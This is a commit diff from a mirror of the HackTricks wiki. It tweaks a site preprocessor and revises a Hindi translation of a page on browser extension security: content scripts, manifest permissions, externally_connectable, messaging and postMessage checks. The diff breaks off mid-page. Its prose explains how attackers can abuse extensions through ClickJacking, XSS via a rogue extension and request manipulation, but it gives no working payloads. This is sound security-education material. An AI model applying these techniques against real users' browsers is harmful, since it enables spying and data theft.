mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['.github/pull_request_template.md', 'src/1911-pentesting-fox
This commit is contained in:
parent
fce1e817d4
commit
712c9c62ef
@ -22,6 +22,7 @@ after = ["links"]
|
||||
|
||||
[preprocessor.hacktricks]
|
||||
command = "python3 ./hacktricks-preprocessor.py"
|
||||
env = "prod"
|
||||
|
||||
[output.html]
|
||||
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
|
||||
|
@ -30,7 +30,9 @@ def ref(matchobj):
|
||||
href = matchobj.groups(0)[0].strip()
|
||||
title = href
|
||||
if href.startswith("http://") or href.startswith("https://"):
|
||||
# pass
|
||||
if context['config']['preprocessor']['hacktricks']['env'] == 'dev':
|
||||
pass
|
||||
else:
|
||||
try:
|
||||
raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
|
||||
match = re.search('<title>(.*?)</title>', raw_html)
|
||||
@ -90,7 +92,7 @@ if __name__ == '__main__':
|
||||
context, book = json.load(sys.stdin)
|
||||
|
||||
logger.debug(f"Context: {context}")
|
||||
|
||||
logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
|
||||
|
||||
for chapter in iterate_chapters(book['sections']):
|
||||
logger.debug(f"Chapter: {chapter['path']}")
|
||||
|
@ -12,7 +12,7 @@ dht udp "DHT Nodes"
|
||||
|
||||
.png>)
|
||||
|
||||
 (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
|
||||
 (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
|
||||
|
||||
InfluxDB
|
||||
|
||||
|
@ -14,24 +14,24 @@
|
||||
|
||||
### **Content Scripts**
|
||||
|
||||
प्रत्येक कंटेंट स्क्रिप्ट को **एकल वेब पृष्ठ** के DOM तक सीधी पहुंच होती है और इस प्रकार यह **संभावित रूप से दुर्भावनापूर्ण इनपुट** के संपर्क में आता है। हालाँकि, कंटेंट स्क्रिप्ट में एक्सटेंशन को संदेश भेजने की क्षमता के अलावा कोई अनुमति नहीं होती है।
|
||||
प्रत्येक कंटेंट स्क्रिप्ट के पास **एकल वेब पृष्ठ** के DOM तक सीधी पहुंच होती है और इस प्रकार यह **संभावित रूप से दुर्भावनापूर्ण इनपुट** के संपर्क में होती है। हालाँकि, कंटेंट स्क्रिप्ट में एक्सटेंशन को संदेश भेजने की क्षमता के अलावा कोई अनुमति नहीं होती है।
|
||||
|
||||
### **Extension Core**
|
||||
|
||||
एक्सटेंशन कोर में अधिकांश एक्सटेंशन विशेषाधिकार/पहुँच होती है, लेकिन एक्सटेंशन कोर केवल [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) और कंटेंट स्क्रिप्ट के माध्यम से वेब सामग्री के साथ इंटरैक्ट कर सकता है। इसके अलावा, एक्सटेंशन कोर को होस्ट मशीन तक सीधी पहुंच नहीं होती है।
|
||||
एक्सटेंशन कोर में अधिकांश एक्सटेंशन विशेषाधिकार/पहुँच होती है, लेकिन एक्सटेंशन कोर केवल [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) और कंटेंट स्क्रिप्ट के माध्यम से वेब सामग्री के साथ इंटरैक्ट कर सकता है। इसके अलावा, एक्सटेंशन कोर के पास होस्ट मशीन तक सीधी पहुंच नहीं होती है।
|
||||
|
||||
### **Native Binary**
|
||||
|
||||
एक्सटेंशन एक नैटिव बाइनरी की अनुमति देता है जो **उपयोगकर्ता के पूर्ण विशेषाधिकार के साथ होस्ट मशीन तक पहुंच सकता है।** नैटिव बाइनरी एक्सटेंशन कोर के साथ मानक नेटस्केप प्लगइन एप्लिकेशन प्रोग्रामिंग इंटरफेस ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) के माध्यम से इंटरैक्ट करता है, जिसका उपयोग फ्लैश और अन्य ब्राउज़र प्लग-इन्स द्वारा किया जाता है।
|
||||
एक्सटेंशन एक नेटिव बाइनरी की अनुमति देता है जो **उपयोगकर्ता के पूर्ण विशेषाधिकार के साथ होस्ट मशीन तक पहुंच सकता है।** नेटिव बाइनरी एक्सटेंशन कोर के साथ मानक नेटस्केप प्लगइन एप्लिकेशन प्रोग्रामिंग इंटरफेस ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) के माध्यम से इंटरैक्ट करता है, जिसका उपयोग फ्लैश और अन्य ब्राउज़र प्लग-इन्स द्वारा किया जाता है।
|
||||
|
||||
### Boundaries
|
||||
|
||||
> [!CAUTION]
|
||||
> उपयोगकर्ता के पूर्ण विशेषाधिकार प्राप्त करने के लिए, एक हमलावर को एक्सटेंशन को यह मनाने की आवश्यकता होती है कि वह कंटेंट स्क्रिप्ट से दुर्भावनापूर्ण इनपुट को एक्सटेंशन के कोर में और एक्सटेंशन के कोर से नैटिव बाइनरी में पास करे।
|
||||
> उपयोगकर्ता के पूर्ण विशेषाधिकार प्राप्त करने के लिए, एक हमलावर को एक्सटेंशन को यह मनाने की आवश्यकता होती है कि वह कंटेंट स्क्रिप्ट से दुर्भावनापूर्ण इनपुट को एक्सटेंशन के कोर में और एक्सटेंशन के कोर से नेटिव बाइनरी में पास करे।
|
||||
|
||||
एक्सटेंशन का प्रत्येक घटक एक-दूसरे से **मजबूत सुरक्षात्मक सीमाओं** द्वारा अलग होता है। प्रत्येक घटक **अलग ऑपरेटिंग सिस्टम प्रक्रिया** में चलता है। कंटेंट स्क्रिप्ट और एक्सटेंशन कोर **सैंडबॉक्स प्रक्रियाओं** में चलते हैं जो अधिकांश ऑपरेटिंग सिस्टम सेवाओं के लिए उपलब्ध नहीं हैं।
|
||||
एक्सटेंशन के प्रत्येक घटक को **मजबूत सुरक्षात्मक सीमाओं** द्वारा एक-दूसरे से अलग किया गया है। प्रत्येक घटक **अलग ऑपरेटिंग सिस्टम प्रक्रिया** में चलता है। कंटेंट स्क्रिप्ट और एक्सटेंशन कोर **सैंडबॉक्स प्रक्रियाओं** में चलते हैं जो अधिकांश ऑपरेटिंग सिस्टम सेवाओं के लिए उपलब्ध नहीं हैं।
|
||||
|
||||
इसके अलावा, कंटेंट स्क्रिप्ट अपने संबंधित वेब पृष्ठों से **अलग JavaScript हीप में चलती है**। कंटेंट स्क्रिप्ट और वेब पृष्ठ **एक ही अंतर्निहित DOM** तक पहुंच रखते हैं, लेकिन दोनों **कभी भी JavaScript पॉइंटर्स का आदान-प्रदान नहीं करते**, जिससे JavaScript कार्यक्षमता का लीक होना रोकता है।
|
||||
इसके अलावा, कंटेंट स्क्रिप्ट अपने संबंधित वेब पृष्ठों से **अलग JavaScript हीप में चलती हैं**। कंटेंट स्क्रिप्ट और वेब पृष्ठ के पास **एक ही अंतर्निहित DOM** तक पहुंच होती है, लेकिन दोनों **कभी भी JavaScript पॉइंटर्स का आदान-प्रदान नहीं करते**, जिससे JavaScript कार्यक्षमता का लीक होना रोकता है।
|
||||
|
||||
## **`manifest.json`**
|
||||
|
||||
@ -61,7 +61,7 @@ Example:
|
||||
```
|
||||
### `content_scripts`
|
||||
|
||||
कंटेंट स्क्रिप्ट्स **लोड** होती हैं जब भी उपयोगकर्ता **मिलते-जुलते पृष्ठ पर नेविगेट** करता है, हमारे मामले में कोई भी पृष्ठ जो **`https://example.com/*`** अभिव्यक्ति से मेल खाता है और **`*://*/*/business*`** regex से मेल नहीं खाता। वे **पृष्ठ के अपने स्क्रिप्ट्स की तरह** निष्पादित होती हैं और पृष्ठ के [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) तक मनमाना पहुंच होती है।
|
||||
कंटेंट स्क्रिप्ट्स **लोड** होती हैं जब भी उपयोगकर्ता **मिलते-जुलते पृष्ठ पर नेविगेट** करता है, हमारे मामले में कोई भी पृष्ठ जो **`https://example.com/*`** अभिव्यक्ति से मेल खाता है और **`*://*/*/business*`** regex से मेल नहीं खाता। ये **पृष्ठ के अपने स्क्रिप्ट्स की तरह** निष्पादित होती हैं और पृष्ठ के [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) तक मनमाना पहुंच होती है।
|
||||
```json
|
||||
"content_scripts": [
|
||||
{
|
||||
@ -95,11 +95,11 @@ document.body.appendChild(div)
|
||||
|
||||
> [!WARNING]
|
||||
> ब्राउज़र के आधार पर, सामग्री स्क्रिप्ट की क्षमताएँ थोड़ी भिन्न हो सकती हैं। क्रोमियम-आधारित ब्राउज़रों के लिए, क्षमताओं की सूची [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities) में उपलब्ध है, और फ़ायरफ़ॉक्स के लिए, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) प्राथमिक स्रोत के रूप में कार्य करता है।\
|
||||
> यह भी ध्यान देने योग्य है कि सामग्री स्क्रिप्ट्स के पास बैकग्राउंड स्क्रिप्ट्स के साथ संवाद करने की क्षमता होती है, जिससे उन्हें क्रियाएँ करने और प्रतिक्रियाएँ वापस भेजने की अनुमति मिलती है।
|
||||
> यह भी ध्यान देने योग्य है कि सामग्री स्क्रिप्ट के पास बैकग्राउंड स्क्रिप्ट के साथ संवाद करने की क्षमता होती है, जिससे उन्हें क्रियाएँ करने और प्रतिक्रियाएँ वापस भेजने की अनुमति मिलती है।
|
||||
|
||||
Chrome में सामग्री स्क्रिप्ट्स को देखने और डिबग करने के लिए, Chrome डेवलपर टूल्स मेनू को Options > More tools > Developer tools से एक्सेस किया जा सकता है या Ctrl + Shift + I दबाकर।
|
||||
Chrome में सामग्री स्क्रिप्ट को देखने और डिबग करने के लिए, Chrome डेवलपर टूल मेनू को Options > More tools > Developer tools से एक्सेस किया जा सकता है या Ctrl + Shift + I दबाकर।
|
||||
|
||||
डेवलपर टूल्स प्रदर्शित होने पर, **Source tab** पर क्लिक किया जाना चाहिए, उसके बाद **Content Scripts** टैब। यह विभिन्न एक्सटेंशनों से चल रही सामग्री स्क्रिप्ट्स का अवलोकन करने और निष्पादन प्रवाह को ट्रैक करने के लिए ब्रेकपॉइंट सेट करने की अनुमति देता है।
|
||||
डेवलपर टूल प्रदर्शित होने पर, **Source tab** पर क्लिक किया जाना चाहिए, उसके बाद **Content Scripts** टैब। यह विभिन्न एक्सटेंशनों से चल रही सामग्री स्क्रिप्ट्स का अवलोकन करने और निष्पादन प्रवाह को ट्रैक करने के लिए ब्रेकपॉइंट सेट करने की अनुमति देता है।
|
||||
|
||||
### Injected content scripts
|
||||
|
||||
@ -173,11 +173,11 @@ URLs को शामिल या बाहर करने के लिए **
|
||||
|
||||
`run_at` फ़ील्ड **यह नियंत्रित करती है कि JavaScript फ़ाइलें वेब पृष्ठ में कब इंजेक्ट की जाती हैं**। पसंदीदा और डिफ़ॉल्ट मान `"document_idle"` है।
|
||||
|
||||
संभावित मान हैं:
|
||||
संभव मान हैं:
|
||||
|
||||
- **`document_idle`**: जब भी संभव हो
|
||||
- **`document_start`**: `css` से किसी भी फ़ाइल के बाद, लेकिन किसी अन्य DOM के निर्माण या किसी अन्य स्क्रिप्ट के चलने से पहले।
|
||||
- **`document_end`**: DOM के पूर्ण होने के तुरंत बाद, लेकिन उप-संसाधनों जैसे छवियों और फ़्रेमों के लोड होने से पहले।
|
||||
- **`document_end`**: DOM के पूरा होने के तुरंत बाद, लेकिन छवियों और फ़्रेम जैसी उप-संसाधनों के लोड होने से पहले।
|
||||
|
||||
#### `manifest.json` के माध्यम से
|
||||
```json
|
||||
@ -208,16 +208,16 @@ js: ["contentScript.js"],
|
||||
```
|
||||
### `background`
|
||||
|
||||
सामग्री स्क्रिप्ट द्वारा भेजे गए संदेश **बैकग्राउंड पेज** द्वारा प्राप्त होते हैं, जो एक्सटेंशन के घटकों के समन्वय में केंद्रीय भूमिका निभाता है। विशेष रूप से, बैकग्राउंड पेज एक्सटेंशन के जीवनकाल के दौरान बना रहता है, सीधे उपयोगकर्ता इंटरैक्शन के बिना काम करता है। इसमें अपना खुद का डॉक्यूमेंट ऑब्जेक्ट मॉडल (DOM) होता है, जो जटिल इंटरैक्शन और स्थिति प्रबंधन को सक्षम बनाता है।
|
||||
सामग्री स्क्रिप्ट द्वारा भेजे गए संदेश **बैकग्राउंड पेज** द्वारा प्राप्त किए जाते हैं, जो एक्सटेंशन के घटकों के समन्वय में एक केंद्रीय भूमिका निभाता है। विशेष रूप से, बैकग्राउंड पेज एक्सटेंशन के जीवनकाल के दौरान बना रहता है, सीधे उपयोगकर्ता इंटरैक्शन के बिना काम करता है। इसमें अपना खुद का डॉक्यूमेंट ऑब्जेक्ट मॉडल (DOM) होता है, जो जटिल इंटरैक्शन और स्थिति प्रबंधन को सक्षम बनाता है।
|
||||
|
||||
**मुख्य बिंदु**:
|
||||
|
||||
- **बैकग्राउंड पेज की भूमिका:** एक्सटेंशन के लिए नर्व सेंटर के रूप में कार्य करता है, विभिन्न भागों के बीच संचार और समन्वय सुनिश्चित करता है।
|
||||
- **स्थिरता:** यह एक हमेशा उपस्थित इकाई है, जो उपयोगकर्ता के लिए अदृश्य है लेकिन एक्सटेंशन की कार्यक्षमता के लिए अनिवार्य है।
|
||||
- **स्थिरता:** यह एक हमेशा उपस्थित इकाई है, उपयोगकर्ता के लिए अदृश्य लेकिन एक्सटेंशन की कार्यक्षमता के लिए अनिवार्य है।
|
||||
- **स्वचालित निर्माण:** यदि स्पष्ट रूप से परिभाषित नहीं किया गया है, तो ब्राउज़र स्वचालित रूप से एक बैकग्राउंड पेज बनाएगा। यह स्वचालित रूप से उत्पन्न पृष्ठ एक्सटेंशन के मैनिफेस्ट में निर्दिष्ट सभी बैकग्राउंड स्क्रिप्ट को शामिल करेगा, जिससे एक्सटेंशन के बैकग्राउंड कार्यों का निर्बाध संचालन सुनिश्चित होता है।
|
||||
|
||||
> [!TIP]
|
||||
> ब्राउज़र द्वारा स्वचालित रूप से बैकग्राउंड पेज उत्पन्न करने की सुविधा (जब स्पष्ट रूप से घोषित नहीं किया गया हो) यह सुनिश्चित करती है कि सभी आवश्यक बैकग्राउंड स्क्रिप्ट एकीकृत और कार्यात्मक हैं, जिससे एक्सटेंशन की सेटअप प्रक्रिया को सरल बनाया जा सके।
|
||||
> ब्राउज़र द्वारा बैकग्राउंड पेज को स्वचालित रूप से उत्पन्न करने की सुविधा (जब स्पष्ट रूप से घोषित नहीं किया गया हो) यह सुनिश्चित करती है कि सभी आवश्यक बैकग्राउंड स्क्रिप्ट एकीकृत और कार्यात्मक हैं, जिससे एक्सटेंशन की सेटअप प्रक्रिया को सरल बनाया जा सके।
|
||||
|
||||
उदाहरण बैकग्राउंड स्क्रिप्ट:
|
||||
```js
|
||||
@ -239,20 +239,20 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
|
||||
|
||||
- **एक्शन पृष्ठ** तब प्रदर्शित होते हैं जब **एक्सटेंशन आइकन** पर क्लिक किया जाता है।
|
||||
- पृष्ठ जो एक्सटेंशन **एक नए टैब में लोड करेगा**।
|
||||
- **विकल्प पृष्ठ**: यह पृष्ठ क्लिक करने पर एक्सटेंशन के शीर्ष पर प्रदर्शित होता है। पिछले मैनिफेस्ट में, मैं इस पृष्ठ तक `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` में पहुँचने में सक्षम था या क्लिक करके:
|
||||
- **विकल्प पृष्ठ**: यह पृष्ठ क्लिक करने पर एक्सटेंशन के शीर्ष पर प्रदर्शित होता है। पिछले मैनिफेस्ट में, मैं इस पृष्ठ तक पहुँचने में सक्षम था `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` या क्लिक करके:
|
||||
|
||||
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
ध्यान दें कि ये पृष्ठ बैकग्राउंड पृष्ठों की तरह स्थायी नहीं होते हैं क्योंकि वे आवश्यकता के अनुसार गतिशील सामग्री लोड करते हैं। इसके बावजूद, वे बैकग्राउंड पृष्ठ के साथ कुछ क्षमताएँ साझा करते हैं:
|
||||
|
||||
- **सामग्री स्क्रिप्ट के साथ संचार:** बैकग्राउंड पृष्ठ के समान, ये पृष्ठ सामग्री स्क्रिप्ट से संदेश प्राप्त कर सकते हैं, जिससे एक्सटेंशन के भीतर इंटरैक्शन को सुविधाजनक बनाया जा सकता है।
|
||||
- **सामग्री स्क्रिप्ट के साथ संचार:** बैकग्राउंड पृष्ठ के समान, ये पृष्ठ सामग्री स्क्रिप्ट से संदेश प्राप्त कर सकते हैं, जो एक्सटेंशन के भीतर इंटरैक्शन को सुविधाजनक बनाता है।
|
||||
- **एक्सटेंशन-विशिष्ट APIs तक पहुँच:** इन पृष्ठों को एक्सटेंशन-विशिष्ट APIs तक व्यापक पहुँच प्राप्त होती है, जो एक्सटेंशन के लिए परिभाषित अनुमतियों के अधीन होती है।
|
||||
|
||||
### `permissions` & `host_permissions`
|
||||
|
||||
**`permissions`** और **`host_permissions`** `manifest.json` से प्रविष्टियाँ हैं जो **यह संकेत करेंगी कि ब्राउज़र एक्सटेंशन के पास कौन सी अनुमतियाँ** हैं (स्टोरेज, स्थान...) और **कौन से वेब पृष्ठों में**।
|
||||
**`permissions`** और **`host_permissions`** `manifest.json` से प्रविष्टियाँ हैं जो **यह संकेत करेंगी कि** ब्राउज़र एक्सटेंशन के पास **कौन सी अनुमतियाँ** हैं (स्टोरेज, स्थान...) और **कौन से वेब पृष्ठों** में।
|
||||
|
||||
चूंकि ब्राउज़र एक्सटेंशन **विशेषाधिकार प्राप्त** हो सकते हैं, एक दुर्भावनापूर्ण या एक समझौता किया गया एक्सटेंशन हमलावर को **संवेदनशील जानकारी चुराने और उपयोगकर्ता पर जासूसी करने के लिए विभिन्न साधनों की अनुमति दे सकता है**।
|
||||
चूंकि ब्राउज़र एक्सटेंशन इतने **विशिष्ट** हो सकते हैं, एक दुर्भावनापूर्ण या एक जो समझौता किया गया हो, हमलावर को **संवेदनशील जानकारी चुराने और उपयोगकर्ता पर जासूसी करने के लिए विभिन्न साधनों की अनुमति दे सकता है**।
|
||||
|
||||
जांचें कि ये सेटिंग्स कैसे काम करती हैं और कैसे इनका दुरुपयोग किया जा सकता है:
|
||||
|
||||
@ -305,9 +305,9 @@ chrome-extension://<extension-id>/message.html
|
||||
हालांकि, यदि `manifest.json` पैरामीटर **`use_dynamic_url`** का उपयोग किया जाता है, तो यह **id गतिशील हो सकता है**।
|
||||
|
||||
> [!TIP]
|
||||
> ध्यान दें कि भले ही किसी पृष्ठ का उल्लेख यहां किया गया हो, यह **ClickJacking के खिलाफ सुरक्षित** हो सकता है धन्यवाद **Content Security Policy** के। इसलिए ClickJacking हमले की पुष्टि करने से पहले आपको इसे भी जांचना होगा (frame-ancestors अनुभाग)।
|
||||
> ध्यान दें कि यहां एक पृष्ठ का उल्लेख होने पर भी, यह **ClickJacking के खिलाफ सुरक्षित** हो सकता है धन्यवाद **Content Security Policy** के। इसलिए ClickJacking हमले की पुष्टि करने से पहले इसे (frame-ancestors सेक्शन) भी जांचना आवश्यक है।
|
||||
|
||||
इन पृष्ठों तक पहुंचने की अनुमति होने से ये पृष्ठ **संभावित रूप से कमजोर ClickJacking** बन जाते हैं:
|
||||
इन पृष्ठों तक पहुंच की अनुमति देना इन पृष्ठों को **संभावित रूप से कमजोर ClickJacking** बनाता है:
|
||||
|
||||
{{#ref}}
|
||||
browext-clickjacking.md
|
||||
@ -326,8 +326,8 @@ browext-clickjacking.md
|
||||
[**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable) के अनुसार, `"externally_connectable"` मैनिफेस्ट प्रॉपर्टी यह घोषित करती है कि **कौन सी एक्सटेंशन और वेब पृष्ठ आपके एक्सटेंशन से [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) और [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) के माध्यम से कनेक्ट कर सकते हैं**।
|
||||
|
||||
- यदि **`externally_connectable`** कुंजी आपके एक्सटेंशन के मैनिफेस्ट में **नहीं** घोषित की गई है या इसे **`"ids": ["*"]`** के रूप में घोषित किया गया है, तो **सभी एक्सटेंशन कनेक्ट कर सकते हैं, लेकिन कोई वेब पृष्ठ कनेक्ट नहीं कर सकता**।
|
||||
- यदि **विशिष्ट IDs निर्दिष्ट की गई हैं**, जैसे `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, तो **केवल वही अनुप्रयोग** कनेक्ट कर सकते हैं।
|
||||
- यदि **matches** निर्दिष्ट किए गए हैं, तो वे वेब ऐप्स कनेक्ट कर सकेंगे:
|
||||
- यदि **विशिष्ट IDs निर्दिष्ट की गई हैं**, जैसे `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, तो **केवल वही एप्लिकेशन** कनेक्ट कर सकते हैं।
|
||||
- यदि **matches** निर्दिष्ट किए गए हैं, तो वे वेब ऐप्स कनेक्ट करने में सक्षम होंगे:
|
||||
```json
|
||||
"matches": [
|
||||
"https://*.google.com/*",
|
||||
@ -342,7 +342,7 @@ browext-clickjacking.md
|
||||
>
|
||||
> इसलिए, यह एक **बहुत शक्तिशाली बायपास** है।
|
||||
>
|
||||
> इसके अलावा, यदि क्लाइंट एक रूग एक्सटेंशन स्थापित करता है, भले ही इसे संवेदनशील एक्सटेंशन के साथ संवाद करने की अनुमति न हो, यह **XSS डेटा को एक अनुमत वेब पृष्ठ में** इंजेक्ट कर सकता है या **`WebRequest`** या **`DeclarativeNetRequest`** APIs का दुरुपयोग कर सकता है ताकि लक्षित डोमेन पर अनुरोधों में हेरफेर किया जा सके, एक पृष्ठ के अनुरोध को **JavaScript फ़ाइल** के लिए बदल दिया जा सके। (ध्यान दें कि लक्षित पृष्ठ पर CSP इन हमलों को रोक सकता है)। यह विचार [**इस लेख से**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) आया है।
|
||||
> इसके अलावा, यदि क्लाइंट एक राउज एक्सटेंशन स्थापित करता है, भले ही इसे संवेदनशील एक्सटेंशन के साथ संवाद करने की अनुमति न हो, यह **XSS डेटा को एक अनुमत वेब पृष्ठ में** इंजेक्ट कर सकता है या **`WebRequest`** या **`DeclarativeNetRequest`** APIs का दुरुपयोग कर सकता है ताकि लक्षित डोमेन पर अनुरोधों में हेरफेर किया जा सके, एक पृष्ठ के अनुरोध को **JavaScript फ़ाइल** के लिए बदल दिया जा सके। (ध्यान दें कि लक्षित पृष्ठ पर CSP इन हमलों को रोक सकता है)। यह विचार [**इस लेख से**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) आया है।
|
||||
|
||||
## संचार सारांश
|
||||
|
||||
@ -352,7 +352,7 @@ browext-clickjacking.md
|
||||
|
||||
### एक्सटेंशन के अंदर
|
||||
|
||||
आम तौर पर **`chrome.runtime.sendMessage`** फ़ंक्शन का उपयोग एक्सटेंशन के अंदर एक संदेश भेजने के लिए किया जाता है (आम तौर पर `background` स्क्रिप्ट द्वारा संभाला जाता है) और इसे प्राप्त करने और संभालने के लिए एक श्रोता घोषित किया जाता है जो **`chrome.runtime.onMessage.addListener`** को कॉल करता है।
|
||||
आम तौर पर **`chrome.runtime.sendMessage`** का उपयोग एक्सटेंशन के अंदर एक संदेश भेजने के लिए किया जाता है (आमतौर पर `background` स्क्रिप्ट द्वारा संभाला जाता है) और इसे प्राप्त करने और संभालने के लिए एक श्रोता घोषित किया जाता है जो **`chrome.runtime.onMessage.addListener`** को कॉल करता है।
|
||||
|
||||
यह **`chrome.runtime.connect()`** का उपयोग करके एक स्थायी कनेक्शन बनाने के लिए भी संभव है, इसके बजाय एकल संदेश भेजने के, इसे **संदेश भेजने** और **प्राप्त करने** के लिए उपयोग किया जा सकता है जैसे कि निम्नलिखित उदाहरण में:
|
||||
|
||||
@ -413,7 +413,7 @@ console.log("Received " + response)
|
||||
```
|
||||
## वेब **↔︎** सामग्री स्क्रिप्ट संचार
|
||||
|
||||
जहाँ **सामग्री स्क्रिप्ट** कार्य करती हैं और जहाँ होस्ट पृष्ठ मौजूद हैं, वे एक-दूसरे से **अलग** हैं, जो **अलगाव** सुनिश्चित करता है। इस अलगाव के बावजूद, दोनों के पास पृष्ठ के **डॉक्यूमेंट ऑब्जेक्ट मॉडल (DOM)** के साथ बातचीत करने की क्षमता है, जो एक साझा संसाधन है। होस्ट पृष्ठ को **सामग्री स्क्रिप्ट** के साथ संचार करने के लिए, या सामग्री स्क्रिप्ट के माध्यम से विस्तार के साथ अप्रत्यक्ष रूप से संचार करने के लिए, आवश्यक है कि वह **DOM** का उपयोग करे जो दोनों पक्षों द्वारा सुलभ है, संचार चैनल के रूप में।
|
||||
जहाँ **सामग्री स्क्रिप्ट** कार्य करती हैं और जहाँ होस्ट पृष्ठ मौजूद हैं, वे एक-दूसरे से **अलग** हैं, जो **अलगाव** सुनिश्चित करता है। इस अलगाव के बावजूद, दोनों के पास पृष्ठ के **डॉक्यूमेंट ऑब्जेक्ट मॉडल (DOM)** के साथ बातचीत करने की क्षमता है, जो एक साझा संसाधन है। होस्ट पृष्ठ को **सामग्री स्क्रिप्ट** के साथ संचार करने के लिए, या सामग्री स्क्रिप्ट के माध्यम से विस्तार के साथ अप्रत्यक्ष रूप से संचार करने के लिए, आवश्यक है कि वे दोनों पक्षों द्वारा सुलभ **DOM** का उपयोग करें जो संचार चैनल के रूप में कार्य करता है।
|
||||
|
||||
### पोस्ट संदेश
|
||||
```javascript:content-script.js
|
||||
@ -452,11 +452,11 @@ false
|
||||
```
|
||||
एक सुरक्षित Post Message संचार को प्राप्त संदेश की प्रामाणिकता की जांच करनी चाहिए, यह निम्नलिखित की जांच करके किया जा सकता है:
|
||||
|
||||
- **`event.isTrusted`**: यह केवल तब सत्य है जब घटना उपयोगकर्ता की क्रिया द्वारा उत्पन्न की गई हो
|
||||
- **`event.isTrusted`**: यह केवल तब सत्य है जब घटना उपयोगकर्ता की क्रिया द्वारा ट्रिगर की गई हो
|
||||
- सामग्री स्क्रिप्ट केवल तभी संदेश की अपेक्षा कर सकती है जब उपयोगकर्ता कुछ क्रिया करता है
|
||||
- **origin domain**: केवल डोमेन की अनुमति सूची में संदेश की अपेक्षा कर सकता है।
|
||||
- **origin domain**: केवल डोमेन की अनुमति सूची से संदेश की अपेक्षा कर सकता है।
|
||||
- यदि regex का उपयोग किया जाता है, तो बहुत सावधान रहें
|
||||
- **Source**: `received_message.source !== window` का उपयोग यह जांचने के लिए किया जा सकता है कि क्या संदेश **उसी विंडो से** था जहां सामग्री स्क्रिप्ट सुन रही है।
|
||||
- **Source**: `received_message.source !== window` का उपयोग यह जांचने के लिए किया जा सकता है कि संदेश **उसी विंडो से** था जहां सामग्री स्क्रिप्ट सुन रही है।
|
||||
|
||||
पिछली जांचें, भले ही की गई हों, कमजोर हो सकती हैं, इसलिए निम्नलिखित पृष्ठ में **संभावित Post Message बायपास** की जांच करें:
|
||||
|
||||
@ -509,7 +509,7 @@ const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" })
|
||||
console.log(response)
|
||||
})()
|
||||
```
|
||||
**प्राप्ति के अंत** पर, आपको संदेश को संभालने के लिए एक [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **इवेंट लिसनर** सेटअप करना होगा। यह एक सामग्री स्क्रिप्ट या एक्सटेंशन पृष्ठ से समान दिखता है।
|
||||
**प्राप्ति पक्ष** पर, आपको संदेश को संभालने के लिए एक [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **इवेंट लिसनर** सेटअप करने की आवश्यकता है। यह एक सामग्री स्क्रिप्ट या एक्सटेंशन पृष्ठ से समान दिखता है।
|
||||
```javascript
|
||||
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
|
||||
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
|
||||
@ -523,13 +523,13 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
|
||||
```
|
||||
उदाहरण में हाइलाइट किया गया, **`sendResponse()`** को समकालिक तरीके से निष्पादित किया गया था। `sendResponse()` के असमकालिक निष्पादन के लिए `onMessage` इवेंट हैंडलर को संशोधित करने के लिए, `return true;` को शामिल करना अनिवार्य है।
|
||||
|
||||
एक महत्वपूर्ण विचार यह है कि उन परिदृश्यों में जहां कई पृष्ठ `onMessage` इवेंट प्राप्त करने के लिए सेट किए गए हैं, **विशिष्ट इवेंट के लिए `sendResponse()`** निष्पादित करने वाला पहला पृष्ठ ही प्रभावी रूप से प्रतिक्रिया देने में सक्षम होगा। उसी इवेंट के लिए किसी भी बाद की प्रतिक्रियाओं पर विचार नहीं किया जाएगा।
|
||||
